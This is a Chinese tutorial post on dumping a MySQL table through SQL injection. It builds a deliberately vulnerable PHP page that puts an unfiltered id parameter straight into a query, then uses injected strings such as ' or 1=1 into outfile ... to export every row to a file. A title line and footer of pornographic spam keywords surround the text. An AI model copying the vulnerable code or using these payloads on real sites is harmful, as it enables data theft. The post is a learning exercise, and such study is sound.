麻豆小视频在线观看_中文黄色一级片_久久久成人精品_成片免费观看视频大全_午夜精品久久久久久久99热浪潮_成人一区二区三区四区

首頁(yè) > 數(shù)據(jù)庫(kù) > MySQL > 正文

利用SQL注入漏洞拖庫(kù)的方法

2020-01-19 00:02:24
字體:
來(lái)源:轉(zhuǎn)載
供稿:網(wǎng)友
想在本地測(cè)試的話,可以在此免積分下載:利用SQL注入漏洞拖庫(kù)
同上一篇文章一樣,我們需要?jiǎng)?chuàng)建數(shù)據(jù)表,并在表中出入幾條數(shù)據(jù)以備測(cè)試之用。
在數(shù)據(jù)庫(kù)中建立一張表:
復(fù)制代碼 代碼如下:

CREATE TABLE `article` (
`articleid` int(11) NOT NULL AUTO_INCREMENT,
`title` varchar(100) CHARACTER SET utf8 NOT NULL DEFAULT '',
`content` text CHARACTER SET utf8 NOT NULL,
PRIMARY KEY (`articleid`)
) ENGINE=MyISAM AUTO_INCREMENT=7 DEFAULT CHARSET=latin1;

在表中插入數(shù)據(jù)的操作我就不貼代碼了,可以去下載下來(lái)直接導(dǎo)入到數(shù)據(jù)庫(kù)。
接下來(lái),寫(xiě)一個(gè)處理用戶請(qǐng)求的頁(yè)面,這里,我們故意不過(guò)濾用戶提交過(guò)來(lái)的數(shù)據(jù),留下個(gè)SQL注入漏洞用來(lái)測(cè)試。
代碼如下:
復(fù)制代碼 代碼如下:

<?php
$servername = "localhost";
$dbusername = "root";
$dbpassword = "";
$dbname = "test";
$id=$_GET['id'];//id未經(jīng)過(guò)濾
$conn=mysql_connect($servername,$dbusername,$dbpassword) or die ("數(shù)據(jù)庫(kù)連接失敗");
mysql_select_db($dbname,$conn);
mysql_query('set names utf8');
$sql = "SELECT * FROM article WHERE articleid='$id'";
$result = mysql_query($sql,$conn);
$row = mysql_fetch_array($result);
echo "<p>利用SQL注入漏洞拖庫(kù)<p>";
if (!$row){
echo "該記錄不存在";
exit;
}
echo "標(biāo)題<br>".$row['title']."<p>";
echo "內(nèi)容<br>".$row['content']."<p>";
?>

我們直接在瀏覽器中輸入:
http://127.0.0.1/marcofly/phpstudy/sqlinsert/showart.php?id=1
即可訪問(wèn)article表中id為1的一條記錄
訪問(wèn)結(jié)果如下:

接下來(lái),我們就利用這個(gè)漏洞(不知道該漏洞的情況下,只能通過(guò)工具+手工檢測(cè)),演示一下如何將article表下載下來(lái)。
在地址欄中輸入:' into outfile 'e:/sql.txt'%23
分析:%23是#的ASCII碼,由于在地址欄中直接輸入#后到數(shù)據(jù)庫(kù)系統(tǒng)中會(huì)變成空,需要在地址欄中輸入%23,那么才會(huì)變成#,進(jìn)而注釋掉后面的sql語(yǔ)句。
運(yùn)行之后,打開(kāi)E盤(pán),發(fā)現(xiàn)多了一個(gè)sql.txt文件,打開(kāi)之后,里面就是表article中的一條記錄。
為什么只有一條記錄呢?難道該數(shù)據(jù)表就只有一條記錄?不是這樣的,因?yàn)槲覀冎粰z索id為1的一條記錄而已,那么能否將article表中的所有記錄一次性全部下載下來(lái)呢?
答案是可以的,只要你的構(gòu)造的SQL語(yǔ)句足夠靈活(再次提出了構(gòu)造SQL語(yǔ)句的靈活性)。
分析一下,當(dāng)在URL地址欄中輸入'into outfile 'e:/sql.txt'%23的時(shí)候,合并到sql查詢語(yǔ)句中變?yōu)椋?
SELECT * FROM article WHERE articleid='5' into outfile 'e:/whf.txt'#'
仔細(xì)分析下之后,我們可以這樣子構(gòu)造SQL語(yǔ)句:
SELECT * FROM article WHERE articleid='' or 1=1 into outfile 'e:/whf.txt'#'
這樣的話,無(wú)論如何WHERE子句總是為真,換句話說(shuō),該sql語(yǔ)句等價(jià)于如下:
SELECT * FROM article into outfile 'e:/whf.txt'#'
懂了吧,該sql語(yǔ)句在先執(zhí)行select語(yǔ)句,將表article中的所以內(nèi)容全部檢索出來(lái),然后再執(zhí)行into outfile 'e:/whf.txt'#'將內(nèi)容導(dǎo)出來(lái)。
不信的話,你執(zhí)行下……
利用SQL注入漏洞,我們可以猜測(cè)表名,列名,用戶的密碼長(zhǎng)度(LEFT函數(shù))等等,當(dāng)然了,如果能直接向以上的演示那樣將表中的數(shù)據(jù)全部導(dǎo)出的話就沒(méi)必要去猜表名列名等等。
有點(diǎn)累了,就寫(xiě)到這里了。
利用SQL注入漏洞登錄后臺(tái)和利用SQL注入漏洞拖庫(kù)是我學(xué)習(xí)了相關(guān)內(nèi)容之后的一點(diǎn)小結(jié),沒(méi)啥深度,正如文章開(kāi)頭所說(shuō),權(quán)當(dāng)總結(jié),別無(wú)它意。
發(fā)表評(píng)論 共有條評(píng)論
用戶名: 密碼:
驗(yàn)證碼: 匿名發(fā)表
主站蜘蛛池模板: 欧美日韩视频网站 | 亚洲码无人客一区二区三区 | 国产流白浆高潮在线观看 | 一级做a爱性色毛片免费1 | 91成人免费版 | 人人舔人人舔 | 久久精品久久精品国产大片 | 久久久一区二区三区精品 | 色综合精品 | 久久欧美亚洲另类专区91大神 | 亚洲精品一二三区 | 欧美精品免费一区二区三区 | 亚洲精品自在在线观看 | 一区二区三区欧美日韩 | 一级免费| 日韩欧美中文字幕视频 | 国产精品成年片在线观看, 激情小说另类 | 一级性色 | 91福利免费观看 | 中文在线观看免费视频 | 极品xxxx欧美一区二区 | 视频www | 日本欧美一区 | 国产午夜精品一区二区三区嫩草 | 毛片免费一区二区三区 | 亚洲乱码精品久久久久 | 嗯~啊~弄嗯~啊h高潮视频 | 成年人黄视频 | 国产一区二区视频在线播放 | 久久久久久久黄色片 | 久久不雅视频 | 亚洲av一级毛片特黄大片 | 国产欧美亚洲精品 | 亚洲码无人客一区二区三区 | 久久精品网址 | 午夜免费一区 | 久久久一区二区精品 | 久章草影院 | av在线免费播放网站 | 深夜免费视频 | 精国产品一区二区三区 |